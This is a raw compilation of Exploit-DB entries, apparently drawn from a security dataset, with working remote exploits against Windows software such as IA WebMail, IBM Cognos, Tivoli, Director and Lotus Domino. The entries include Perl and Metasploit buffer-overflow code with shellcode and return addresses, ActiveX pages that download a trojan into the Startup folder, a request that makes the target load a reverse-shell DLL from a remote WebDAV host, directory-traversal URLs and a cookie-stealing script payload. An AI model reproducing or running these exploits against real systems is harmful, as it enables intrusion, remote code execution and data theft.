deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23334
Description: IA WebMail Server 3.0/3.1 - GET Buffer Overrun
Type: remote
Platform: windows
Date: 2003-11-03
Author: Peter Winter-Smith

Exploit:
source: https://www.securityfocus.com/bid/8965/info

IA WebMail Server is said to be prone to a remote buffer overrun that could allow an attacker to execute arbitrary code. The problem occurs due to insufficient bounds checking when handling GET requests. As a result, an attacker may be capable of overrunning the bounds of an internal memory buffer and effectively control the flow of execution. 

#!/usr/bin/perl
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
                                 PeerAddr => $host,
                                 PeerPort => "8180",
                                 );
unless ($remote) { die "cannot connect to http daemon on $host" }

$remote->autoflush(1);

$shellcode = join ("",
"\x90", # - NOP
"\xCC", # - INT3
"\x90", # - NOP
"\x90", # - NOP
"\x90", # - NOP
"\x90", # - NOP
"\x8B\xEC", # - MOV EBP, ESP
"\x55", # - PUSH EBP
"\x8B\xEC", # - MOV EBP, ESP
"\x33\xFF", # - XOR EDI, EDI
"\x57", # - PUSH EDI
"\x83\xEC\x04", # 0 SUB ESP, 4
"\xC6\x45\xF8\x63", # - MOV BYTE PTR SS:[EBP-8],63h
"\xC6\x45\xF9\x6D", # - MOV BYTE PTR SS:[EBP-7],6Dh
"\xC6\x45\xFA\x64", # - MOV BYTE PTR SS:[EBP-6],64h
"\xC6\x45\xFB\x2E", # - MOV BYTE PTR SS:[EBP-5],2Eh
"\xC6\x45\xFC\x65", # - MOV BYTE PTR SS:[EBP-4],65h
"\xC6\x45\xFD\x78", # - MOV BYTE PTR SS:[EBP-3],78h
"\xC6\x45\xFE\x65", # - MOV BYTE PTR SS:[EBP-2],65h
"\xB8\xC3\xAF\x01\x78", # - MOV EAX, MSVCRT.system
"\x50", # - PUSH EAX
"\x8D\x45\xF8", # - LEA EAX, DWORD PTR SS:[EBP-8]
"\x50", # - PUSH EAX
"\xFF\x55\xF4", # - CALL DWORD PTR SS:[EBP-C]
"\x5F" # - POP EDI
);

$eip = "\x4c\xf8\x12";

#0012f84C

#$eip = "AAAA";
$request = join ("", "GET /", $shellcode, "A"x(1040-length($shellcode)),
$eip, " HTTP/1.1\r
Host: $host\r
Connection: close\r
\r
\r\n");

print $remote $request;
sleep(1);

close $remote;
Exploit-DB #16767
Description: IA WebMail Server 3.x - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: ia_webmail.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'IA WebMail 3.x Buffer Overflow',
			'Description'    => %q{
					This exploits a stack buffer overflow in the IA WebMail server.
				This exploit has not been tested against a live system at
				this time.
			},
			'Author'         => [ 'hdm' ],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2003-1192'],
					[ 'OSVDB', '2757'],
					[ 'BID', '8965'],
					[ 'URL', 'http://www.k-otik.net/exploits/11.19.iawebmail.pl.php'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'BadChars'    => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'IA WebMail 3.x',
						{
							'Ret'    => 0x1002bd33,
							'Length' => 1036
						},
					]
				],
			'DisclosureDate' => 'Nov 3 2003',
			'DefaultTarget'  => 0))
	end

	def exploit
		print_status("Sending request...")

		send_request_raw({
			'uri' =>
				"/" + ("o" * target['Length']) +
				"META" +
				[target.ret].pack('V') +
				payload.encoded
		}, 2)

		handler
	end

end
Exploit-DB #5416
Description: IBiz E-Banking Integrator 2.0 - ActiveX Edition Insecure Method
Type: remote
Platform: windows
Date: 2008-04-09
Author: shinnai

Exploit:
--------------------------------------------------------------------
 IBiz E-Banking Integrator V2 ActiveX Edition Insecure Method

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 More info at http://shinnai.altervista.org
--------------------------------------------------------------------
<object classid='clsid:24445430-F789-11CE-86F8-0020AFD8C6DB' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe()
  On Error Resume Next
   test.WriteOFXDataFile "C:\WINDOWS\system_.ini"
   If Err.Number <> 0 Then
    MsgBox "Something went wrong!"
   Else
    MsgBox "Exploit Completed!"
   End If
 End Sub
</script>

# milw0rm.com [2008-04-09]
Exploit-DB #24219
Description: IBM ACPRunner 1.2.5 - ActiveX Control Dangerous Method
Type: remote
Platform: windows
Date: 2004-06-16
Author: eEye Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/10561/info

It is reported that the IBM acpRunner ActiveX control contains dangerous methods that may result in a remote compromise of a system on which the ActiveX control is installed. These methods may be accessed by a malicious website and may result in the silent installation of a malicious executable.

A remote attacker may exploit this vulnerability in order to silently install a malicious executable on an affected system.

|object width="310" height="20"
codebase="https://www-3.ibm.com/pc/support/access/aslibmain/content/AcpC
ontrol.cab" id="runner"
classid="CLSID:E598AC61-4C6F-4F4D-877F-FAC49CA91FA3"
data="DATA:application/x-oleobject;BASE64,YayY5W9MTU+Hf/rEnKkfowADAAAKIA
AAEQIAAA==">
|object|

|script|
runner.DownLoadURL = "http://malicioussystem/trojan.exe";
runner.SaveFilePath = "\..\\Start Menu\\Programs\\Startup";
runner.FileSize = 96,857;
runner.FileDate = "01/09/2004 3:33";
runner.DownLoad();
|script|
Exploit-DB #23969
Description: IBM Cognos - 'tm1admsd.exe' Remote Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2013-01-08
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'IBM Cognos tm1admsd.exe Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in IBM Cognos Analytic Server
				Admin service. The vulnerability exists in the tm1admsd.exe component, due to a
				dangerous copy of user controlled data to the stack, via memcpy, without validating
				the supplied length and data. The module has been tested successfully on IBM Cognos
				Express 9.5 over Windows XP SP3.
			},
			'Author'         =>
				[
					'Unknown', # Original discovery
					'juan vazquez' # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['CVE', '2012-0202'],
					['OSVDB', '80876'],
					['BID', '52847'],
					['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-101/'],
					['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21590314']
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'SSL' => true,
					'SSLVersion' => 'TLS1'
				},
			'Payload'        =>
				{
					'Space'    => 10359,
					'DisableNops' => true
				},
			'Platform'       => 'win',
			'DefaultTarget'  => 0,
			'Targets'        =>
				[
					# tm1admsd.exe 9.5.10009.10070
					# ret from unicode.nls # call dword ptr ss:[ebp+0x30] # tested over Windows XP SP3 updates
					[ 'IBM Cognos Express 9.5 / Windows XP SP3', { 'Ret' => 0x00280b0b, 'Offset' => 10359 } ]
				],
			'DisclosureDate' => 'Apr 02 2012'))

			register_options([Opt::RPORT(5498)], self.class)
	end

	def exploit

		sploit = payload.encoded
		sploit << rand_text(target['Offset'] - sploit.length)
		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset']}").encode_string
		sploit << "\xEB\xF9" + rand_text(2) # jmp $-5
		sploit << [target.ret].pack("V") # seh
		sploit << rand_text(2000) # Trigger exception

		data = rand_text(4)
		data << "\x00\x08" # Opcode
		data << [sploit.length].pack("n") # Length
		data << sploit # Value

		length = [data.length + 2].pack("n")

		req = length
		req << data

		connect
		sock.put(req)
		disconnect

	end
end
Exploit-DB #2320
Description: IBM Director < 5.10 - 'Redirect.bat' Directory Traversal
Type: remote
Platform: windows
Date: 2006-09-07
Author: Daniel Clemens

Exploit:
There is a vulnerability within the Redirect.bat file on a ibm director
cgi which allows a directory transversal to take place which in turn
exposes most files on the system to be read without authorization.

http://ip.of.system:411/cgi-bin/Redirect.bat?file=%7C..\..\..\..\..\..\....\..\program%20files\ibm\director\version.key (or insert evil file here)


This was fixed in the 5.10 version of ibm director.

-Daniel Clemens

# milw0rm.com [2006-09-07]
Exploit-DB #24220
Description: IBM EGatherer 2.0 - ActiveX Control Dangerous Method
Type: remote
Platform: windows
Date: 2004-06-01
Author: eEye Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/10562/info

It is reported that the IBM eGatherer ActiveX control contains dangerous methods that may result in a remote compromise of a system on which the ActiveX control is installed. These methods may be accessed by a malicious website and may result in the silent installation of a malicious executable.

A remote attacker may exploit this vulnerability in order to silently install a malicious executable on an affected system.

-----------EXAMPLE HTML 1 ---------
//first this page would be viewed, then through refreshing or whatever
one goes to the second page (or just timing the two calls with
SetTimeOUt and putting them on the same page...)
|object classid="clsid:74FFE28D-2378-11D5-990C[PII_REDACTED]84" id="X"|
|object|

|script|
X.SetDebugging("/../xx.hta",-1);
|script|
---------------------------------

-----------EXAMPLE HTML 2 ---------
|object classid="clsid:74FFE28D-2378-11D5-990C[PII_REDACTED]84" id="X"|
|object|

|script|
X.SetDebugging("/../x<iframe src=http://www.malware.com>x.hta",-1);
|script|


---------------------------------
Exploit-DB #9802
Description: IBM Installation Manager 1.3.0 - 'iim://' URI handler
Type: remote
Platform: windows
Date: 2009-09-29
Author: bruiser

Exploit:
<!--
IBM Installation Manager <= 1.3.0 iim:// uri handler remote code execution exploit - IE
by nine:situations:group::bruiser
site: http://retrogod.altervista.org/

vulnerable:
IBM Rational Robot
IBM Rational Team Concert
possibly all Rational products, not Rational Appscan I see

download location: http://www14.software.ibm.com/webapp/download/byproduct.jsp?pgel=ibmhzn1&cm_re=masthead-_-supdl-_-dl-trials
info: http://www-01.ibm.com/software/rational/installmgr/faq.html

bug:
through Internet Explorer is possible to specify extra command line arguments, ex.
the -vm argument for the IBMIM.exe executable, which will load an arbitrary dll
from an external network share, change the path to your own library with some code
in the entry point
-->

<iframe src='iim://"%20-vm%20\\192.168.0.1\uncshare\sh.dll%20-url%20"'></iframe>
Exploit-DB #23837
Description: IBM Lotus Domino 6.5.1 - HTTP webadmin.nsf Quick Console Cross-Site Scripting
Type: remote
Platform: windows
Date: 2004-03-17
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/9901/info

It has been reported that Lotus Domino server may be prone to a cross-site scripting vulnerability that may allow a remote attacker to execute HTML or script code in a user's browser. The issue presents itself due to insufficient sanitization of user-supplied data via the 'Quick Console' function of 'webadmin.nsf' administrative interface.

IBM Lotus Domino server 6.5.1 has been reported to be prone to this issue, however, it is possible that other versions are affected as well.

1)Go to http://www.example.com/webadmin.nsf
2)Go to "server" tab
3)Go to "Quick console" in the left column
4)Give as "Domino command" <script>alert(document.cookie)</script>
Exploit-DB #23836
Description: IBM Lotus Domino 6/7 - HTTP webadmin.nsf Directory Traversal
Type: remote
Platform: windows
Date: 2004-03-17
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/9900/info

It has been reported that Lotus Domino may be prone to a directory traversal vulnerability that may allow a remote attacker to access information outside the server root directory. The issue reportedly exists in the server's administrative interface accessed via 'webadmin.nsf'. The vulnerability may be exploited by a remote attacker by traversing outside the server root directory by using '../' directory traversal character sequences. Successful exploitation of this vulnerability may allow a remote attacker to gain access to sensitive information and/or modify the underlying file system.

IBM Lotus Domino server 6.5.1 has been reported to be prone to this issue, however, it is possible that other versions are affected as well.

1)Go to http://www.example.com/webadmin.nsf
2)Go to "Files" tab
3)From the "Tools" menu select to create a "new" folder
4)As the name of the new folder enter "/../../../../../../pr00f"

or

"/../../../../windows/win.ini"
Exploit-DB #23074
Description: IBM System Director Agent - Remote System Level
Type: remote
Platform: windows
Date: 2012-12-02
Author: kingcope

Exploit:
IBM System Director Remote System Level Exploit (CVE-2009-0880 extended zeroday)
Copyright (C) 2012 Kingcope

IBM System Director has the port 6988 open. By using a special request
to a vulnerable server,
the attacker can force to load a dll remotely from a WebDAV share.

The following exploit will load the dll from
\\isowarez.de\\director\wootwoot.dll
the wootwoot.dll is a reverse shell that will send a shell back to the
attacker (the code has to be inside the dll initialization routine).
The IBM Director exploit works on versions 5.20.3 and before, but not
on 5.2.30 SP2 and above.
Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0880
There was a prior CVE for it, the CVE states the attack can load local
files only, using the WebDAV server remote file can be loaded too.
To scan for this software you can enter the following (by using pnscan):
./pnscan -w"M-POST /CIMListener/ HTTP/1.1\r\nHost:
localhost\r\nContent-Length: 0\r\n\r\n" -r HTTP <ipblock> 6988

Exploit:
---snip---
use IO::Socket;
#1st argument: target host
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "6988",
                                 Proto    => 'tcp');
$payload =
qq{<?xml version="1.0" encoding="utf-8" ?>
<CIM CIMVERSION="2.0" DTDVERSION="2.0">
 <MESSAGE ID="1007" PROTOCOLVERSION="1.0">
  <SIMPLEEXPREQ>
    <EXPMETHODCALL NAME="ExportIndication">
     <EXPPARAMVALUE NAME="NewIndication">
      <INSTANCE CLASSNAME="CIM_AlertIndication" >
        <PROPERTY NAME="Description" TYPE="string">
          <VALUE>Sample CIM_AlertIndication indication</VALUE>
        </PROPERTY>
        <PROPERTY NAME="AlertType" TYPE="uint16">
          <VALUE>1</VALUE>
        </PROPERTY>
        <PROPERTY NAME="PerceivedSeverity" TYPE="uint16">
          <VALUE>3</VALUE>
        </PROPERTY>
        <PROPERTY NAME="ProbableCause" TYPE="uint16">
          <VALUE>2</VALUE>
        </PROPERTY>
        <PROPERTY NAME="IndicationTime" TYPE="datetime">
          <VALUE>[PII_REDACTED]4354.000000:000</VALUE>
        </PROPERTY>
      </INSTANCE>
    </EXPPARAMVALUE>
  </EXPMETHODCALL>
 </SIMPLEEXPREQ>
 </MESSAGE>
</CIM>};
$req =
"M-POST /CIMListener/\\\\isowarez.de\\director\\wootwoot HTTP/1.1\r\n"
."Host: $ARGV[0]\r\n"
."Content-Type: application/xml; charset=utf-8\r\n"
."Content-Length: ". length($payload) ."\r\n"
."Man: http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40\r\n"
."CIMOperation: MethodCall\r\n"
."CIMExport: MethodRequest\r\n"
."CIMExportMethod: ExportIndication\r\n\r\n";
print $sock $req . $payload;

while(<$sock>) {
	print;
}
---snip---

Cheerio,

Kingcope
Exploit-DB #24345
Description: IBM Tivoli Directory Server 3.2.2/4.1 - LDACGI Directory Traversal
Type: remote
Platform: windows
Date: 2004-08-02
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/10841/info

IBM Tivoli Directory Server is reported to contain a directory traversal vulnerability in its web front-end application.

This issue presents itself due to insufficient sanitization of user-supplied data.

This issue allows remote attackers to view potentially sensitive files on the server that are accessible to the 'ldap' user. This may aid an attacker in conducting further attacks against the vulnerable computer.

Versions 3.2.2, and 4.1 are reported vulnerable.

http://www.example.com/ldap/cgi-bin/ldacgi.exe?Action=Substitute&Template=../../../../../boot.ini&Sub=LocalePath&LocalePath=enus1252
Exploit-DB #17392
Description: IBM Tivoli Endpoint Manager - POST Query Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2011-06-12
Author: Metasploit

Exploit:
##
# $Id: ibm_tivoli_endpoint_bof.rb 12925 2011-06-12 00:04:55Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'IBM Tivoli Endpoint Manager POST Query Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack based buffer overflow in the way IBM Tivoli 
				Endpoint Manager versions 3.7.1, 4.1, 4.1.1, 4.3.1 handles long POST query 
				arguments.

				This issue can be triggered by sending a specially crafted HTTP POST request to 
			the service (lcfd.exe) listening on TCP port 9495. To trigger this issue authorization
			is required. This exploit makes use of a second vulnerability, a hardcoded account 
			(tivoli/boss) is used to bypass the authorization restriction.
			},
			'Author'         =>
				[
					'bannedit', # metasploit module
					'Jeremy Brown <0xjbrown[at]gmail.com>', # original public exploit
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 12925 $',
			'References'     =>
				[
					[ 'CVE', '2011-1220'],
					[ 'OSVDB', '72713'], # buffer overflow
					[ 'OSVDB', '72751'], # hardcoded account
					[ 'BID', '48049'],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-169/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00\x0d\x0a",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows Server 2003 SP0', { 'Ret' => 0x77d80787 }], # user32.dll - jmp esp
					['Windows Server 2003 SP1', { 'Ret' => 0x77403680 }], # user32.dll - jmp esp
					['Windows Server 2003 SP2', { 'Ret' => 0x77402680 }], # user32.dll - jmp esp
				],
			'DisclosureDate' => 'May 31 2011'))

		register_options(
			[
				Opt::RPORT(9495),
			], self.class )
	end

	def exploit
		print_status("Trying target #{target.name}...")

		auth = Rex::Text.encode_base64("tivoli:boss")
		varname = rand_text_alpha(rand(10))

		sploit = make_nops(1) * 256
		sploit << [target.ret].pack('V')
		sploit << payload.encoded
		
		print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
		res = send_request_cgi({
			'uri'          => '/addr',
			'method'       => 'POST',
			'headers'      =>
			{
				'Authorization' => "Basic #{auth}"
			},
			'vars_post'    =>
			{
				varname => sploit,
			},
		}, 5)

		handler
	end
end
Exploit-DB #16764
Description: IBM Tivoli Storage Manager Express CAD Service - Remote Buffer Overflow (Metasploit) (2)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: ibm_tsm_cad_header.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'IBM Tivoli Storage Manager Express CAD Service Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the IBM Tivoli Storage Manager Express CAD Service (5.3.3).
				By sending an overly long GET request, it may be possible for an attacker to execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2007-4880' ],
					[ 'OSVDB', '38161' ],
					[ 'BID', '25743' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 650,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'IBM Tivoli Storage Manager Express 5.3.3', { 'Ret' => 0x0289fbe3 } ], # dbghelp.dll
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Sept 24 2007'))

		register_options( [ Opt::RPORT(1581) ], self.class )
	end

	def exploit
		connect

		sploit =  "GET /BACLIENT HTTP/1.1\r\n"
		sploit << "Host: 127.0.0.1 " + rand_text_alpha_upper(190)
		sploit << [target.ret].pack('V') + payload.encoded

		print_status("Trying target %s..." % target.name)

		sock.put(sploit + "\r\n\r\n")

		handler
		disconnect
	end

end
Exploit-DB #34178
Description: id Software id Tech 4 Engine - 'idGameLocal::GetGameStateObject()' Remote Code Execution
Type: remote
Platform: windows
Date: 2010-07-21
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/41001/info

id Tech 4 Engine is prone to a remote code-execution vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

The following applications include the vulnerable engine:

Enemy Territory: Quake Wars 1.5.12642.33243 and prior
Wolfenstein 1.3.344272 and prior
Quake 4 1.4.2 and prior
Doom 3 1.3.1 and prior
Prey 1.4 and prior 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34178.zip